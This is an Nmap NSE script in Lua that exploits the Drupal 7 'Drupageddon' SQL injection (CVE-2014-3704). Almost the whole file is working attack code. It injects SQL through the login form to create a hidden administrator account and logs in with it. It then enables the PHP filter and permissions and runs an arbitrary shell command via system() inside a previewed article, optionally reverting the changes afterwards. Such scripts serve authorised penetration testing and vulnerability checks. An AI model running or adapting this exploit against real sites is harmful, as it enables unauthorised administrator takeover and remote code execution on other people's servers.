http-vuln-cve2014-3704 NSE Script

local http = require "http"
local shortport = require "shortport"
local stdnse = require "stdnse"
local string = require "string"
local table = require "table"
local url = require "url"
local vulns = require "vulns"
local openssl = require "openssl"
local rand = require "rand"

description = [[
Exploits CVE-2014-3704 also known as 'Drupageddon' in Drupal. Versions < 7.32
of Drupal core are known to be affected.

Vulnerability allows remote attackers to conduct SQL injection attacks via an
array containing crafted keys.

The script injects new Drupal administrator user via login form and then it
attempts to log in as this user to determine if target is vulnerable. If that's
the case following exploitation steps are performed:

* PHP filter module which allows embedded PHP code/snippets to be evaluated is enabled,
* permission to use PHP code for administrator users is set,
* new article which contains payload is created & previewed,
* cleanup: by default all DB records that were added/modified by the script are restored.

Vulnerability originally discovered by Stefan Horst from SektionEins.

Exploitation technique used to achieve RCE on the target is based on exploit/multi/http/drupal_drupageddon Metasploit module.
]]

---
-- @see http-sql-injection.nse
--
-- @usage
-- nmap --script http-vuln-cve2014-3704 --script-args http-vuln-cve2014-3704.cmd="uname -a",http-vuln-cve2014-3704.uri="/drupal" <target>
-- nmap --script http-vuln-cve2014-3704 --script-args http-vuln-cve2014-3704.uri="/drupal",http-vuln-cve2014-3704.cleanup=false <target>
--
-- @output
-- PORT   STATE SERVICE REASON
-- 80/tcp open  http    syn-ack
-- | http-vuln-cve2014-3704:
-- |   VULNERABLE:
-- |   Drupal - pre Auth SQL Injection Vulnerability
-- |     State: VULNERABLE (Exploitable)
-- |     IDs:  CVE:CVE-2014-3704
-- |       The expandArguments function in the database abstraction API in
-- |       Drupal core 7.x before 7.32 does not properly construct prepared
-- |       statements, which allows remote attackers to conduct SQL injection
-- |       attacks via an array containing crafted keys.
-- |
-- |     Disclosure date: 2014-10-15
-- |     Exploit results:
-- |       Linux debian 3.2.0-4-amd64 #1 SMP Debian 3.2.51-1 x86_64 GNU/Linux
-- |     References:
-- |       https://www.sektioneins.de/en/advisories/advisory-012014-drupal-pre-auth-sql-injection-vulnerability.html
-- |       https://www.drupal.org/SA-CORE-2014-005
-- |       http://www.securityfocus.com/bid/70595
-- |_      https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-3704
--
-- @args http-vuln-cve2014-3704.uri Drupal root directory on the website. Default: /
-- @args http-vuln-cve2014-3704.cmd Shell command to execute. Default: nil
-- @args http-vuln-cve2014-3704.cleanup Indicates whether cleanup (removing DB
--                                      records that was added/modified during
--                                      exploitation phase) will be done.
--                                      Default: true
---

author = "Mariusz Ziulek <mzet()owasp org>"
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
categories = {"vuln", "intrusive", "exploit"}

portrule = shortport.http

--- Appends a new multipart/form-data part to a table
local function multipart_append_data(r, k, data, extra)
  r[#r + 1] = string.format("content-disposition: form-data; name=\"%s\"", k)
  if extra.filename then
    r[#r + 1] = string.format("; filename=\"%s\"", extra.filename)
  end
  if extra.content_type then
    r[#r + 1] = string.format("\r\ncontent-type: %s", extra.content_type)
  end
  if extra.content_transfer_encoding then
    r[#r + 1] = string.format("\r\ncontent-transfer-encoding: %s", extra.content_transfer_encoding)
  end
  r[#r + 1] = string.format("\r\n\r\n%s\r\n", data)
end

--- Creates multipart/form-data message as defined in RFC 2388
local function multipart_build_body(content, boundary)
  local r = {}
  local k, v
  for k, v in pairs(content) do
    r[#r + 1] = string.format("--%s\r\n", boundary)
    if type(v) == "string" then
      multipart_append_data(r, k, v, {})
    elseif type(v) == "table" then
      if v.data == nil then return nil end
      local extra = {
        filename = v.filename or v.name,
        content_type = v.content_type or v.mimetype or "application/octet-stream",
        content_transfer_encoding = v.content_transfer_encoding or "binary",
      }
      multipart_append_data(r, k, v.data, extra)
    else
      return nil
    end
  end

  r[#r + 1] =  string.format("--%s--\r\n", boundary)
  return table.concat(r)
end

local function extract_CSRFtoken(content)
  local pattern = 'name="form_token" value="(.-)"'
  local value = string.match(content, pattern)
  return value
end

local function itoa64(index)
  local itoa64 = './0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
  return string.sub(itoa64, index + 1, index + 1)
end

local function phpass_encode64(input)
  local count = #input + 1
  local out = {}
  local cur = 1

  while cur < count do
    local value = string.byte(input, cur)
    cur = cur + 1
    table.insert(out, itoa64(value & 0x3f))

    if cur < count then
      value = value | (string.byte(input, cur) << 8)
    end
    table.insert(out, itoa64((value >> 6) & 0x3f))

    if cur >= count then
      break
    end
    cur = cur + 1

    if cur < count then
      value = value | (string.byte(input, cur) << 16)
    end
    table.insert(out, itoa64((value >> 12) & 0x3f))

    if cur >= count then
      break
    end
    cur = cur + 1

    table.insert(out, itoa64((value >> 18) & 0x3f))
  end

  return table.concat(out)
end

local function gen_passwd_hash(passwd)
  local iter = 15
  local iter_char = itoa64(iter)
  local iter_count = 1<<iter
  local salt = rand.random_alpha(8)

  local md5 = openssl.md5(salt .. passwd)
  for i = 1, iter_count do
    md5 = openssl.md5(md5 .. passwd)
  end

  local dgst = phpass_encode64(md5)
  local h = '$P$' .. iter_char .. salt .. string.sub(dgst, 0, 22)
  return h
end

local function do_sql_query(host, port, uri, user)

  local adminRole = 'administrator'
  local sql_user
  local sql_admin
  local passwd
  local email
  local passHash
  local query

  if user == nil then
    user = rand.random_alpha(10)
    passwd = rand.random_alpha(10)
    passHash = gen_passwd_hash(passwd)
    email = rand.random_alpha(8) .. '@' .. rand.random_alpha(5) .. '.' .. rand.random_alpha(3)

    stdnse.debug(1, string.format("adding admin user (username: '%s'; passwd: '%s')", user, passwd))
    sql_user = url.escape("insert into users (uid,name,pass,mail,status) select max(uid)+1,'" .. user .. "','" .. passHash .. "','" .. email .. "',1 from users;")

    sql_admin = url.escape("insert into users_roles (uid, rid) VALUES ((select uid from users where name='" .. user .. "'), (select rid from role where name = '" .. adminRole .. "'));")

    query = sql_user .. sql_admin
  else
    stdnse.debug(1, string.format("removing admin user (username: '%s')", user))

    sql_user = url.escape("delete from users where name='" .. user .. "';")

    sql_admin = url.escape("delete from users_roles where uid=(select uid from users where name='" .. user .. "');")

    query = sql_admin .. sql_user
  end

  local r = "name[0;" .. query .. "#%20%20]=" .. rand.random_alpha(10) .. "&name[0]=" .. rand.random_alpha(10) .. "&pass=" .. rand.random_alpha(10) .. "&form_id=user_login&op=Log+in"

  local opt = {
    header = {
      ['Content-Type'] = "application/x-www-form-urlencoded"
    }
  }
  local res = http.post(host, port, uri .. "?q=/user/login", opt, nil, r)

  if string.match(res.body, "includes[\\/]database[\\/]database%.inc") and string.match(res.body, "addcslashes%(%)") then
    return user, passwd
  end

end

local function set_php_filter(host, port, uri, session, disable)

  -- enable PHP filter
  if not disable then
    stdnse.debug(1, "enabling PHP filter module")
  else
    stdnse.debug(1, "disabling PHP filter module")
  end

  local opt = {}
  opt['cookies'] = session.name ..'='.. session.value

  local res = http.get(host, port, uri .. "?q=/admin/modules", opt)
  if res == nil then return nil end

  local csrfToken = extract_CSRFtoken(res.body)

  local enabledModulesPattern = 'name="([^"]*)" value="1" checked="checked" class="form%-checkbox"'
  local data = {}
  for m in string.gmatch(res.body, enabledModulesPattern) do
    data[m] = 1
    if disable and m == 'modules[Core][php][enable]' then
      data[m] = nil
    end
  end

  if not disable then
    data['modules[Core][php][enable]'] = 1
  end
  data['form_token'] = csrfToken
  data['form_id'] = 'system_modules'
  data['op'] = 'Save configuration'
  res = http.post(host, port, uri .. "?q=/admin/modules/list/confirm", opt, nil, data)
  if res == nil then return nil end

  return true
end

local function set_permission(host, port, uri, session, disable)

  -- allow Administrator to use php_code
  if not disable then
    stdnse.debug(1, "setting permissions for PHP filter module")
  else
    stdnse.debug(1, "restoring permissions for PHP filter module")
  end

  local opt = {}
  opt['cookies'] = session.name ..'='.. session.value

  local res = http.get(host, port, uri .. "?q=/admin/people/permissions", opt)
  if res == nil then return nil end

  local csrfToken = extract_CSRFtoken(res.body)

  local enabledPermsRegex = 'name="([^"]*)" value="([^"]*)" checked="checked"'
  local data = {}
  for key, value in string.gmatch(res.body, enabledPermsRegex) do
    data[key] = value
    if disable and key == '3[use text format php_code]' then
      data[key] = nil
    end
  end

  if not disable then
    data['3[use text format php_code]'] = 'use text format php_code'
  end
  data['form_token'] = csrfToken
  data['form_id'] = 'user_admin_permissions'
  data['op'] = 'Save permissions'
  res = http.post(host, port, uri .. "?q=/admin/people/permissions", opt, nil, data)
  if res == nil then return nil end

  return true
end

local function trigger_exploit(host, port, uri, session, cmd)

  local opt = {}
  opt['cookies'] = session.name ..'='.. session.value

  -- add new Content page & trigger RCE
  stdnse.debug(1, string.format("%s", "creating new article page with planted payload"))

  local res = http.get(host, port, uri .. "?q=/node/add/article", opt)
  if res == nil then return nil end

  local csrfToken = extract_CSRFtoken(res.body)

  stdnse.debug(1, string.format("%s", "calling preview article page & triggering exploit"))
  local pattern = '"' .. rand.random_alpha(5)
  local payload = "<?php echo '" .. pattern .. " '; system('" .. cmd .. "'); echo '".. pattern .. " '; ?>"
  local boundary = rand.random_alpha(16)
  opt['header'] = {}
  opt['header']["Content-Type"] = "multipart/form-data" .. "; boundary=" .. boundary

  local files = {
    ['title'] = 'title',
    ['form_id'] = 'article_node_form',
    ['form_token'] = csrfToken,
    ['body[und][0][value]'] = payload,
    ['body[und][0][format]'] = 'php_code',
    ['op'] = 'Preview',
  }
  local body = multipart_build_body(files, boundary)

  res = http.post(host, port, uri .. "?q=/node/add/article", opt, nil, body)
  if res == nil then return nil end

  return res.body, pattern
end

action = function(host, port)

  local uri = stdnse.get_script_args(SCRIPT_NAME..".uri") or '/'
  local cmd = stdnse.get_script_args(SCRIPT_NAME..".cmd") or nil
  local cleanup = nil
  if stdnse.get_script_args(SCRIPT_NAME..".cleanup") == "false" then
    cleanup = "false"
  end

  local vulnReport = vulns.Report:new(SCRIPT_NAME, host, port)
  local vuln = {
    title = 'Drupal - pre Auth SQL Injection Vulnerability',
    state = vulns.STATE.NOT_VULN,
    description = [[
  The expandArguments function in the database abstraction API in
  Drupal core 7.x before 7.32 does not properly construct prepared
  statements, which allows remote attackers to conduct SQL injection
  attacks via an array containing crafted keys.
    ]],
    IDS = {CVE = 'CVE-2014-3704'},
    references = {
      'https://www.sektioneins.de/en/advisories/advisory-012014-drupal-pre-auth-sql-injection-vulnerability.html',
      'https://www.drupal.org/SA-CORE-2014-005',
      'http://www.securityfocus.com/bid/70595',
    },
    dates = {
      disclosure = {year = '2014', month = '10', day = '15'},
    },
  }

  local user, passwd = do_sql_query(host, port, uri, nil)

  if user == nil or passwd == nil then
    return vulnReport:make_output(vuln)
  end

  stdnse.debug(1, string.format("logging in as admin user (username: '%s'; passwd: '%s')", user, passwd))

  vuln.state = vulns.STATE.EXPLOIT

  local data = {
    ['name'] = user,
    ['pass'] = passwd,
    ['form_id'] = 'user_login',
    ['op'] = 'Log in',
  }

  local res = http.post(host, port, uri .. "?q=/user/login", nil, nil, data)

  if res.status == 302 and res.cookies[1].name ~= nil then

    stdnse.debug(1, string.format("logged in as admin user (username: '%s'; passwd: '%s'). Target is vulnerable.", user, passwd))

    if cmd ~= nil then
      local session = {}
      session.name = res.cookies[1].name
      session.value = res.cookies[1].value

      set_php_filter(host, port, uri, session, false)

      set_permission(host, port, uri, session, false)

      local resp_content, pattern = trigger_exploit(host, port, uri, session, cmd)

      local cmdOut = nil
      for m in string.gmatch(resp_content, pattern .. '([^"]*)' .. pattern) do
        cmdOut = m
        break
      end

      if cmdOut ~= nil then
        vuln.exploit_results = cmdOut
      end

      -- cleanup: restore permission & disable php filter module
      if cleanup == nil then
        set_permission(host, port, uri, session, true)
        set_php_filter(host, port, uri, session, true)
      end
    end

  else
    vuln.state = vulns.STATE.LIKELY_VULN
    vuln.check_results = "Account created but unable to log in."
  end

  -- cleanup: remove admin user
  if cleanup == nil then
    do_sql_query(host, port, uri, user)
  end

  return vulnReport:make_output(vuln)

end